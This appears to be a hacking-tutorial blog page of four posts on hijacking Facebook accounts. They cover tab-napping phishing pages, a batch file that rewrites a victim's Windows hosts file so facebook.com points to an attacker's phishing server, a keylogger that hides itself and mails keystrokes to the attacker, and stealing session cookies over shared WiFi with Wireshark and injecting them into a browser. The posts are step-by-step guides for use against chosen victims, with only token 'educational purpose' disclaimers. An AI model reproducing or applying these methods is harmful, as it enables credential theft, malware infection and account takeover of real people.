Hack Facebook Account by Tab Napping Method

 

Hi Friends , Today I am telling about "How to Hack facebook account" by using Phishing and Tab Napping techniques.So first of all I am telling about Phishing and Tab Napping.

Phishing: 

Phishing is technique through which we can hack account of any website.It is just a copy of website and you send it to your victim and when he/she login his/her password will be stored in your password website file.For Example you want to hack someone facebook account then you first of all you need a facebook phishing page (this is just like facebook login page) and upload it to your website and send it to victim when he/she login with his/her account then his/her password will be send to or save to your website password file.

Tab Napping:

 Tab Napping is new hacking trick through which you can't directly hack account and you will be using phishing method with tab napping then you can hack account. Actually Tab Napping is a script which you put into a site/blog and when the user visit your website/blog and read your article or play game or watch video, when user goto other tab in browser which contain other website like youtube,google etc and came back to your website then  your website will be redirected to the phishing page and telling them to login with facebook/gmail/yahoo account to continue.When user enter login information he/she will be back to your page and user password will be send to you.

So lets see how to hack facebook account using tab napping trick.


Steps:

1) First of all you have a web hosting (website) and if you don't have your own website then create Free website with following website :
www.000webhost.com 

www.host1free.com 

www.my3gb.com 
or you can search on google and create an account.

2) Now download the script and phishing pages from here: http:/www.mediafire.com/?0zrp565h8v90jbe

3) Extract it and you will see the files and folders like below:

4) Upload all the files and folders to your website.
when you upload it's look like

5)The website contain a game and send your website address(your tab napping website where you upload all the files) to your friend or anyone else whose facebook account you want to hack and tell him/her that if your are intelligent or smart or say anything else then play this game and win it.
The website look like this:

 

Actually the game is very dificult and he/she will not win in less time and  he/she will goto another tab in browser like facebook,google,youtube ,yahoo etc and when he/she came back to the website , it will be automatically redirected and saying them to login with facebook account to continue.

 

 When your victim log in with facebook account then her/his password will saved in your website and he/she will be redirected to main game page.
Now just open www.your-website.com/fb/password.html and you will see the email and passwords.

The password page will look like this

 

Note: This is illegal and is for educational purpose only. Any loss/damage happening will not be in any way our responsibility.

Read more...

Desktop Phishing Tutorial - Hack Facebook Accounts

 

Desktop Phishing is another advanced type of Phishing attack, In my previous post Desktop Phishing -Introduction i explained the idea and working behind this phishing attack, In this article i will explain how you can use this method to hack Facebook book , Gmail accounts .

 

This phishing attack is a bit advanced and if your a newbie i would recommend you to read the following articles first


Desktop Phishing Tutorial - Hack Facebook Accounts
Concept Behind The Hack :
Hosts file is a computer file used in an operating system to map host names to IP addresses. Host file used to play a large role before the Domain Name System (DNS) came into existence. A hosts file basically controls how your browser finds websites.



You can use host file to map any word or domain to an ip address or to another domain. For example if we add 

74.125.236.84 www.facebook.com

To the host file what will happen is that when you type Facebook.com in your browser it will open google.com instead of facebook.com this is because (74.125.236.84) is Google's Ip, So the browesr will take it blindly So if a attacker is abel to add his Ip address (where he Hosts the phisher page ) Victim will be redirected to the attackers phishing site

What makes this attack so successful is the victim will not Know since the URL only remains facebook.com
What Hackers Dont Teach You ?
I see many tutorials on the net on Desktop Phishing but Most of the tuts wont't work because of following things

 

• Now days every one has a dynamic IP address (ip changes every time when you restart )


• Now all most all computers are behind a Router, So we have to port forward our web server in order to access it . This is a little confusing for newbies

 

But in this tutorial i will explain how you can over come all these problems

How To Over Come This Problem ?
We can overcome the above problems by using a static VPN , With a VPN you will have a static Ip address and you need not port forward your webserver


Demonstration
Things You Require :-

1. Phisher Page - You can download Facebook Phisher page from Here
(I've added an extra page to make it more realistic, the victim will get a message saying Facebook is blocked by your isp)

2. Web server - You can use wamp or xammp , i would recommend you to use xammp, i have written a tutorial on how you can install , use Xammp kindly refer the article for more details


3. A static VPN - I will Use proXPN VPN for this Tutorial but i recommend you to use Strong Open VPN as it is very stable you can download it from Here 

Procedure:-

1. First Download and install xampp on your PC, Start Apache and Msql services

 

 

2. Download the Facebook Phisher page From the link given above, Place all its contents in the ht docs folder which should be under Xammp (place were you installed xampp)

 

 

3. Install ProXPN VPN or any other static VPN, i recommend you to use Strong Vpn as it very stable and gives you a static IP Once you install and run it, you will get a static IP (vpn)

 

4. Now we have to replace some text in the victims Host file which is at C:\windows\system32\drivers\etc ,You can do this by many ways either by using a SFX archive or using a batch file for this tutorial we will use a batch file to accomplish the job


@echo off
echo 172.X.XX.X.X www.facebook.com >> C:\windows\system32\drivers\etc\hosts
exit
Replace "172.X.XX.X.X" with your IP (vpn ) address, Finally save it as Save it as Something.bat

5. Now to avoid suspicion you can Bind the batch file with a legitimate file, Kindly refer the Binders tutorial for more info

6. Now send the file via email or upload the file to a site and ask the victim to download the file , After the victim downloads and clicks the file, his host file will be replaced ,So now when ever the victim enters facebook.com He will be redirected to our Phisher Page, But the URL will remain as Facebook.com

 

 

 

 

 

 

 

 

To see all the victims credentials and Password open newly created log.txtfile which is under ht docs folder

 

 

 

 

 

Note: This is illegal and is for educational purpose only. Any loss/damage happening will not be in any way our responsibility.

Read more...

Hack Facebook Accounts – Download UD Remote Keylogger

 

Today I am here with new UD Keylogger which will help you to "Hack Facebook Accounts" or any other accounts. This is the latest version ofkeylogger with many facilities and features. Though now only thiskeylogger is released at it came from FUD to UD. Confused I will make you understand.

What is the Difference in FUD and UD Keylogger ?

As the name indicates that FUD Keylogger is fully undetectable keylogger from any antivirus in the world. And UD Keylogger mean its only undetectable keylogger and though few antivirus can catch it as virus.

Hack Facebook Accounts – Download Remote Keylogger

 Here I am going to present a New Remote Keylogger which has the power to hack facebook accounts and to record all the key strokes typed.

Features Of new UD Remote Keylogger: -

• UD - 3/33


• You Can Use Gmail Account to get the logs


• Add To Start Up also included


• It also Kills Task Manager


• Automatically Hides the virus after infecting the victim


• Also Disables Registry Editing


• Stops victim From Ending Your Keylogger's Process


• New Icon Changer


• File Binder


• With Fake Error Message


• Includes Time Interval

How To Use This Remote Keylogger for Hacking Of Facebook Accounts

• Download The Remote UD Keylogger and extract the folder to desktop


• Open the Remote keylogger and enter new created Gmail account username and password


• Select the other settings as you need and donot forget to change Time Interval to 2 min


• If you want then use Icon changer, File Binder, etc and then click on Build Server


• Now upload this keylogger to file sharing sites like megaupload.com, mediafire.com


• Now send Server to victim by any mean and when he/she will click on server, he will be hacked


• Now you will get the victim typed keystroke which also includesHack Facebook Account Password


• You can hack any account by this Remote Keylogger

So you are done, I am sure that you will enjoy this Remote Keyloggerand if you have any problem then please do comment and share your problem. I am always ready to help you all.

Note: This is illegal and is for educational purpose only. Any loss/damage happening will not be in any way our responsibility.

 

Read more...

Today we are going to discuss how any Hacker can Steal Facebook Cookies to Hijack Current User’s Session. This is also called Man In the Middle Attack.
We’ll use WireShark Network Protocol Analyzer. It can be used for Capturing Packets and cookies within a Network i.e LAN, WiFi etc.

Today I am gonna Steal My Friend’s Facebook Cookies who is sharing my WiFi Network.:p .

WHAT IS FACEBOOK’S AUTHENTICATION COOKIE? HOW IS IT VULNERABLE?

Cookies, HTTP/HTTPS Cookies are helpful for WebSite for Storing User Specific Data in User’s Browser itself for reducing Overhead on Server round trips.However Cookies can also get you in trouble if someone is able to steal it from your system.Facebook uses “datr” Cookie Authentication mechanism.Attacker will use Your sessions cookies and inject in Browser. Browser will redirect him to your account State at that time.

HACKING FACEBOOK USING COOKIE STEALING AND SESSION HIJACKING

HOW TO USE WIRESHARK FOR CAPTURING COOKIES

WireShark is a Packet Sniffer which Sniffs a Network and captures Packets being Transferred, So it also captures Session Cookie Packets being used for any Website Say Facebook, Gmail, Hotmail etc. Therefor it’s a very popular tool among Hackers for Stealing Victim’s Cookies and hijacking their logedin sessions.
We can use this tool for any kind of Network, right now i am going for Wireless network.

so, let’s see how it works…

• Download Wireshark Protocol Analyzer(latest version Preferred).


• Install and run. Go to Capture -> Interfaces.

• It will open Interface window containing All Interface Supported. You can check Active interfaces by seeing on packets. If they are updating it means network is active. As in snapshot below i am going for Wireless Network Connection. Check out this network and click Start.

 

• Packet Capturing will start. Now we have to set Filter for Our desirable packet.i.e Cookie for Facebook.


• Click on Analyze-> Display Filters. There Input FilterName as Http.cookie and FilterString as http.cookie contains datr.Then push Apply. Now Filter has been set. Just wait for 10 mins it will Fetch and display cookie containing “datr”.

• After Some time you will find Cookie Packet containing datr value in the result window.

• Now Right Click Node Filtered for “HTTP Cookie datr”. go to Copy -> Bytes -> Printable text only.

 

• Put in a notepad copied text and select value like :
  
  

  Cookie: datr=ZNHCUlHbFOue6NKOWLQaRUgvdsabsacg789

  
  
  
  
  
  
  
  • Now we’ll need some agent for Injecting this Cookie value to browser. This we’ll do via cookie Injector Script Download here. And A Chrome Plugin TemperMonkey (if you are using chrome), Greasemonkey for Mozille.Script will be run in browser via Plugin added.
  
  
  • Now Open Plugin and Script Code to it. Once it’s added to Plugin. Open Facebook Login Page in a new window.
  
  
  • Now Press ALT+C . It’ll Call Cookie Injector dump Window. There you Put the Copied Cookie Value.and press ok.
  
  
  
  
  
  
  • Cookie has been Injected to browser. Now just Refresh the page & you’ll be logged in to Victims Account.
  
  
  
  

Points to Note:
This method of Facebook Cookie Stealing and Hijacking won’t work for HTTPS end to end encryption enabled protocol as Cookies will be Encrypted. So won’t work.

 

 

 WARNING –

EVERYTHING YOU DO WITH THIS TUTORIAL DO IT AT YOUR OWN RISK. USE IT FOR EDUCATIONAL PURPOSES ONLY. I’M NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS TUTORIAL!

Read more...